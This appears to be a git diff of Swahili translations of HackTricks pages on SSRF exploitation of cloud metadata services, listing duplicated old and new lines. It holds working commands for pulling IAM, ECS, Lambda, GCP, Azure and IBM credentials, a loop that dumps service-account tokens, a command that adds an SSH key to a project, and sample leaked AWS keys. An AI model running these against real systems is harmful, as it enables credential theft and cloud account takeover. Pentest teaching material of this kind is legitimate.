EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -96,51 +96,51 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
Kama mfano wa **vitambulisho vya IAM vinavyopatikana hadharani** uliofunuliwa unaweza kutembelea: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Kama mfano wa **vyeti vya IAM vilivyofichuliwa kwa umma** unaweza kutembelea: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Unaweza pia kuangalia **vitambulisho vya usalama vya EC2 vya umma** katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Unaweza pia kuangalia **vyeti vya usalama vya EC2 vya umma** katika: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Kisha unaweza kuchukua **vitambulisho hivyo na kuvitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina ruhusa** kufanya.
Kisha unaweza kuchukua **vyeti hivyo na kuvitumia na AWS CLI**. Hii itakuruhusu kufanya **chochote ambacho jukumu hilo lina idhini** ya kufanya.
Ili kunufaika na vitambulisho vipya, utahitaji kuunda wasifu mpya wa AWS kama huu:
Kutumia vyeti vipya, utahitaji kuunda wasifu mpya wa AWS kama huu:
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Tambua **aws\_session\_token**, hii ni muhimu kwa profile kufanya kazi.
Tambua **aws\_session\_token**, hii ni muhimu kwa wasifu kufanya kazi.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na siri zilizopatikana kujua mamlaka yako na jaribu kuongeza mamlaka
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) inaweza kutumika na siri zilizopatikana kujua haki zako na jaribu kuinua haki
### SSRF katika AWS ECS (Huduma ya Kontena) siri
**ECS**, ni kikundi cha mantiki cha instances za EC2 ambapo unaweza kuendesha programu bila kusababisha ukuaji wa miundombinu yako ya kusimamia kikundi kwa sababu ECS inasimamia hilo kwa ajili yako. Ikiwa unafanikiwa kudukua huduma inayofanya kazi katika **ECS**, **metadata endpoints hubadilika**.
**ECS**, ni kikundi la mantiki la mifano ya EC2 ambayo unaweza kukimbia programu bila kuhitaji kupanua miundombinu yako ya usimamizi wa kikundi kwa sababu ECS inasimamia hilo kwa niaba yako. Ikiwa unafanikiwa kudukua huduma inayotumika katika **ECS**, **vifaa vya metadata hubadilika**.
Ikiwa unafikia _**http://169.254.170.2/v2/credentials/\<GUID>**_ utapata siri za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma variable ya **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** ndani ya mashine.\
Unaweza kuweza kuisoma kwa kutumia **Path Traversal** kwa `file:///proc/self/environ`\
Ikiwa unafikia _**http://169.254.170.2/v2/credentials/\<GUID>**_ utapata siri za mashine ya ECS. Lakini kwanza unahitaji **kupata \<GUID>**. Ili kupata \<GUID> unahitaji kusoma **variable ya environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** ndani ya mashine.\
Unaweza kuisoma kwa kutumia **Path Traversal** kwa `file:///proc/self/environ`\
Anwani ya http iliyotajwa inapaswa kukupa **AccessKey, SecretKey na token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
Tafadhali kumbuka kuwa katika **baadhi ya kesi** utaweza kupata ufikiaji wa **EC2 metadata instance** kutoka kwenye kontena (angalia vikwazo vya IMDSv2 TTL vilivyotajwa hapo awali). Katika hali hizi, kutoka kwenye kontena unaweza kupata jukumu la IAM la kontena na jukumu la IAM la EC2.
Tafadhali kumbuka kuwa **katika baadhi ya kesi** unaweza kupata ufikivu wa **taarifa ya kifaa cha EC2 metadata** kutoka kwenye kontena (angalia vikwazo vya TTL vya IMDSv2 vilivyotajwa hapo awali). Katika hali hizi kutoka kwenye kontena unaweza kupata ufikivu wa jukumu la IAM la kontena na jukumu la IAM la EC2.
{% endhint %}
### SSRF kwa AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
Katika kesi hii, **vyeti vimehifadhiwa kwenye mazingira ya env**. Kwa hivyo, ili kuyafikia, unahitaji kufikia kitu kama **`file:///proc/self/environ`**.
Katika kesi hii **vyeti vimehifadhiwa katika mazingira ya pembejeo**. Kwa hivyo, ili kuzipata unahitaji kupata kitu kama **`file:///proc/self/environ`**.
**Jina** la **mazingira ya env yanayovutia** ni:
**Jina** la **mazingira muhimu ya pembejeo** ni:
* `AWS_SESSION_TOKEN`
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
Zaidi ya hayo, mbali na vyeti vya IAM, Lambda functions pia zina **data ya tukio ambayo hupitishwa kwa kazi wakati inapoanza**. Data hii inapatikana kwa kazi kupitia [interface ya runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **habari nyeti** (kama vile ndani ya **stageVariables**). Tofauti na vyeti vya IAM, data hii inapatikana kupitia SSRF ya kawaida kwa njia ya **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
Zaidi ya hayo, mbali na vyeti vya IAM, Lambda functions pia zina **data ya tukio ambayo hupitishwa kwa kazi wakati inapoanzishwa**. Data hii inapatikana kwa kazi kupitia [interface ya runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **taarifa nyeti** (kama ndani ya **stageVariables**). Tofauti na vyeti vya IAM, data hii inapatikana kupitia SSRF ya kawaida kwa **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
{% hint style="warning" %}
Tafadhali kumbuka kuwa **vyeti vya lambda** vipo ndani ya **mazingira ya env**. Kwa hivyo, ikiwa **mnyororo wa kufuatilia** wa nambari ya lambda unachapisha mazingira ya env, inawezekana kuyavuja kwa kusababisha kosa katika programu.
Tafadhali kumbuka kuwa **vyeti vya lambda** vimo ndani ya **mazingira ya pembejeo**. Kwa hivyo, ikiwa **mnyororo wa kufuatilia** wa nambari ya lambda unachapisha pembejeo za mazingira, inawezekana kuzipata kwa kusababisha **kosa katika programu**.
{% endhint %}
### URL ya SSRF kwa AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
@ -150,7 +150,7 @@ Tunapata `accountId` na `region` kutoka kwenye API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
Kisha tunapata `AccessKeyId`, `SecretAccessKey`, na `Token` kutoka kwenye API.
Tunakisha kupata `AccessKeyId`, `SecretAccessKey`, na `Token` kutoka kwa API.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
@ -170,14 +170,14 @@ Inahitaji kichwa cha HTTP **`Metadata-Flavor: Google`** na unaweza kupata kituo
* http://metadata.google.internal
* http://metadata
Vituo vya kuvutia vya kutoa habari:
Vituo vya kuvutia vya kutoa taarifa:
```bash
# /project
# Project name and number
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
@ -191,17 +191,17 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslog
# /instance
# Description
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
@ -249,13 +249,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta hauna haja ya kichwa kwa sasa (asante Mathias Karlsson @avlidienbrunn)
Beta haitaji kichwa kwa sasa (asante Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
Ili **kutumia kitambulisho cha akaunti ya huduma kilichovuja**, unaweza tu kufanya:
Ili **kutumia tokeni ya akaunti ya huduma iliyochotwa** unaweza tu kufanya:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
@ -271,13 +271,13 @@ gcloud config unset auth/access_token_file
### Ongeza ufunguo wa SSH <a href="#id-3e24" id="id-3e24"></a>
Chukua tokeni
Chukua token
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Angalia wigo wa kitufe cha usalama
```
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
Angalia wigo wa tokeni (kwa matokeo ya awali au uendeshe yafuatayo)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
@ -294,15 +294,40 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
{% endcode %}
## Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
Endpoint ya metadata inafanya kazi sawa na kwenye VMs lakini bila baadhi ya endpoints:
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
```
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
{% hint style="warning" %}
Hakuna vitu kama AWS Roles au akaunti ya huduma ya GCP, hivyo usitegemee kupata siri za boti za metadata
Hakuna vitu kama Majukumu ya AWS au akaunti ya huduma ya GCP, hivyo usitarajie kupata metadata bot credentials
{% endhint %}
Nyaraka zinapatikana kwenye [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
Maelezo yanapatikana kwenye [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
@ -316,7 +341,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
```
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Tafuta udhaifu unaofaa zaidi ili uweze kuyatatua haraka. Intruder inafuatilia eneo lako la mashambulizi, inatekeleza uchunguzi wa vitisho wa kujitokeza, inapata matatizo katika mfumo wako mzima wa teknolojia, kutoka kwa APIs hadi programu za wavuti na mifumo ya wingu. [**Jaribu bure**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) leo.
Tafuta mapungufu yanayoathiri zaidi ili uweze kuyasuluhisha haraka. Intruder inachunguza eneo lako la mashambulizi, inaendesha uchunguzi wa tishio kwa kujitolea, inapata matatizo katika mfumo wako mzima wa teknolojia, kutoka kwa APIs hadi programu za wavuti na mifumo ya wingu. [**Jaribu bure**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) leo.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -326,10 +351,14 @@ Tafuta udhaifu unaofaa zaidi ili uweze kuyatatua haraka. Intruder inafuatilia en
### Azure VM
[**Hati** hapa](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
[**Maelezo** hapa](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
* **Lazima** iwe na kichwa cha habari `Metadata: true`
* Isiwe na kichwa cha habari `X-Forwarded-For`
* Isiwe na kichwa cha habari cha `X-Forwarded-For`
{% tabs %}
{% tab title="Bash" %}
{% code overflow="wrap" %}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
@ -369,14 +398,11 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
{% endtab %}
{% endtabs %}
### Huduma ya Programu ya Azure
### Huduma ya Azure App
Kutoka kwa **env** unaweza kupata thamani za `IDENTITY_HEADER` _na_ `IDENTITY_ENDPOINT`. Unaweza kutumia hizi kupata token ya kuongea na seva ya metadata.
Kutoka kwa **env** unaweza kupata thamani za `IDENTITY_HEADER` _na_ `IDENTITY_ENDPOINT`. Unaweza kutumia hizo kupata ishara ya kuwasiliana na seva ya metadata.
Kwa kawaida, unataka ishara kwa moja ya rasilimali hizi:
Kwa kawaida, unataka token kwa moja ya rasilimali hizi:
* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
@ -453,7 +479,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %}
Tafadhali kumbuka kuwa kwa chaguo-msingi, IBM haiwezeshi metadata, kwa hivyo ni kawaida usiweze kuipata hata kama uko ndani ya IBM cloud VM
Tafadhali elewa kwamba kwa chaguo-msingi IBM metadata haijaanzishwa, hivyo inawezekana usiweze kuipata hata kama uko ndani ya IBM cloud VM
{% endhint %}
{% code overflow="wrap" %}
@ -482,75 +508,80 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
```
{% endcode %}
Hati za nyaraka za huduma za metadata za majukwaa mbalimbali zimefafanuliwa hapa chini, zikionyesha njia ambazo maelezo ya usanidi na uendeshaji wa kesi zinaweza kupatikana. Kila jukwaa lina vituo tofauti vya kupata huduma zake za metadata.
Nyaraka kwa huduma za metadata za majukwaa mbalimbali zimeelezwa hapa chini, zikionyesha njia ambazo maelezo ya usanidi na uendeshaji kwa mifano zinaweza kupatikana. Kila jukwaa lina vituo vya kipekee vya kupata huduma zake za metadata.
## Packetcloud
Kwa kupata metadata ya Packetcloud, hati za nyaraka zinaweza kupatikana hapa:
[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
Kwa kupata metadata ya Packetcloud, nyaraka zinaweza kupatikana hapa: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
Hakuna ulazima wa kichwa uliotajwa. Metadata inaweza kupatikana kupitia:
- `http://169.254.169.254/openstack`
Uhitaji wa kichwa cha habari haujatajwa. Metadata inaweza kupatikana kupitia:
* `http://169.254.169.254/openstack`
## HP Helion
Hapa pia hakuna ulazima wa kichwa uliotajwa. Metadata inaweza kupatikana kwa:
- `http://169.254.169.254/2009-04-04/meta-data/`
Uhitaji wa kichwa cha habari haujatajwa hapa pia. Metadata inaweza kupatikana kwa:
* `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud inatoa vituo vya kupata vipengele mbalimbali vya metadata:
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
- `http://192.0.0.192/latest/meta-data/`
- `http://192.0.0.192/latest/attributes/`
Oracle Cloud hutoa vituo vya kupata vipengele mbalimbali vya metadata:
* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
* `http://192.0.0.192/latest/meta-data/`
* `http://192.0.0.192/latest/attributes/`
## Alibaba
Alibaba inatoa vituo vya kupata metadata, ikiwa ni pamoja na vitambulisho vya kesi na picha:
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
- `http://100.100.100.200/latest/meta-data/image-id`
Alibaba inatoa vituo vya kupata metadata, ikiwa ni pamoja na vitambulisho vya mifano na picha:
* `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id`
* `http://100.100.100.200/latest/meta-data/image-id`
## Kubernetes ETCD
Kubernetes ETCD inaweza kushikilia funguo za API, anwani za IP za ndani, na bandari. Upatikanaji unadhihirishwa kupitia:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
Kubernetes ETCD inaweza kuhifadhi funguo za API, anwani za IP za ndani, na bandari. Upatikanaji unadhihirishwa kupitia:
* `curl -L http://127.0.0.1:2379/version`
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
Metadata ya Docker inaweza kupatikana kwa kifaa, na mifano inayotolewa kwa kupata habari za chombo na picha:
- Mfano rahisi wa kupata metadata ya vyombo na picha kupitia soketi ya Docker:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Ndani ya chombo, tumia curl na soketi ya Docker:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
Metadata ya Docker inaweza kupatikana kwa ndani, na mifano zikitolewa kwa kupata maelezo ya kontena na picha:
* Mfano rahisi wa kupata metadata ya kontena na picha kupitia soketi ya Docker:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* Ndani ya kontena, tumia curl na soketi ya Docker:
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
Metadata ya Rancher inaweza kupatikana kwa kutumia:
- `curl http://rancher-metadata/<version>/<path>`
* `curl http://rancher-metadata/<version>/<path>`
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Tafuta udhaifu unaofaa zaidi ili uweze kuzirekebisha haraka. Intruder inafuatilia eneo lako la shambulio, inatekeleza uchunguzi wa vitisho wa kujitokeza, inapata masuala katika mfumo wako mzima wa teknolojia, kutoka kwa API hadi programu za wavuti na mifumo ya wingu. [**Jaribu bure**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) leo.
Pata udhaifu unaofaa zaidi ili uweze kuyasuluhisha haraka. Intruder inachunguza eneo lako la mashambulizi, inaendesha uchunguzi wa vitisho wa kujitolea, inagundua masuala katika mfumo wako mzima wa teknolojia, kutoka kwa APIs hadi programu za wavuti na mifumo ya wingu. [**Jaribu bure leo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,4 +1,4 @@
# SSTI (Uingizaji wa Kigezo Upande wa Seva)
# SSTI (Uingizaji wa Kigeuzi wa Upande wa Seva)
<details>
@ -6,90 +6,81 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **kukuza maarifa ya kiufundi**, mkutano huu ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.
[**RootedCON**](https://www.rootedcon.com) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa ** lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila nidhamu.
{% embed url="https://www.rootedcon.com/" %}
## Ni nini SSTI (Uingizaji wa Kigezo Upande wa Seva)
## Ni nini SSTI (Uingizaji wa Kigeuzi wa Upande wa Seva)
Uingizaji wa kigezo upande wa seva ni udhaifu unapotokea mtu mwenye nia mbaya anaweza kuingiza msimbo wenye nia mbaya kwenye kigezo kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
